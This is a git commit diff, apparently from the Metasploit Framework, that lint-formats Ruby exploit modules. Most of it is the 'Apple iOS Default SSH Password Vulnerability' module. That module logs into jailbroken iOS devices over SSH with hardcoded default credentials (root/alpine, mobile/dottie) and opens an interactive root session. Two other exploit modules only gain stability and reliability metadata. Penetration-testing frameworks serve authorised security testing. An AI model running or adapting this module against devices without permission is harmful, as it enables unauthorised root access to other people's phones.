Lint msftidy

This commit is contained in:
Heyder Andrade
2022-04-18 23:36:23 +02:00
parent b363a7e403
commit fd6c8aa3d5
3 changed files with 52 additions and 42 deletions
@@ -11,43 +11,47 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::SSH
def initialize(info={})
super(update_info(info,
'Name' => "Apple iOS Default SSH Password Vulnerability",
'Description' => %q{
This module exploits the default credentials of Apple iOS when it
has been jailbroken and the passwords for the 'root' and 'mobile'
users have not been changed.
},
'License' => MSF_LICENSE,
'Author' =>
[
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apple iOS Default SSH Password Vulnerability',
'Description' => %q{
This module exploits the default credentials of Apple iOS when it
has been jailbroken and the passwords for the 'root' and 'mobile'
users have not been changed.
},
'License' => MSF_LICENSE,
'Author' => [
'hdm'
],
'References' =>
[
'References' => [
['OSVDB', '61284']
],
'DefaultOptions' =>
{
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_interact',
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [
['Apple iOS', { 'accounts' => [ [ 'root', 'alpine' ], [ 'mobile', 'dottie' ]] } ],
],
'Privileged' => true,
'DisclosureDate' => '2007-07-02',
'DefaultTarget' => 0))
'Privileged' => true,
'DisclosureDate' => '2007-07-02',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
)
)
register_options(
[
@@ -72,21 +76,18 @@ class MetasploitModule < Msf::Exploit::Remote
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def do_login(user, pass)
opts = ssh_client_defaults.merge({
:auth_methods => ['password', 'keyboard-interactive'],
:port => rport,
:password => pass
auth_methods: ['password', 'keyboard-interactive'],
port: rport,
password: pass
})
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
begin
ssh = nil
@@ -117,17 +118,16 @@ class MetasploitModule < Msf::Exploit::Remote
return nil
end
def exploit
self.target['accounts'].each do |info|
user,pass = info
target['accounts'].each do |info|
user, pass = info
print_status("#{rhost}:#{rport} - Attempt to login as '#{user}' with password '#{pass}'")
conn = do_login(user, pass)
if conn
print_good("#{rhost}:#{rport} - Login Successful ('#{user}:#{pass})")
handler(conn.lsock)
break
end
next unless conn
print_good("#{rhost}:#{rport} - Login Successful ('#{user}:#{pass})")
handler(conn.lsock)
break
end
end
end
@@ -55,7 +55,12 @@ class MetasploitModule < Msf::Exploit::Remote
[
'Automatic', {}
]
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
)
)
@@ -40,7 +40,12 @@ class MetasploitModule < Msf::Exploit::Remote
'Platform' => 'linux',
'PayloadType' => 'cmd_interact',
'Privileged' => true,
'Targets' => [ [ 'Universal', {} ] ]
'Targets' => [ [ 'Universal', {} ] ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
)
)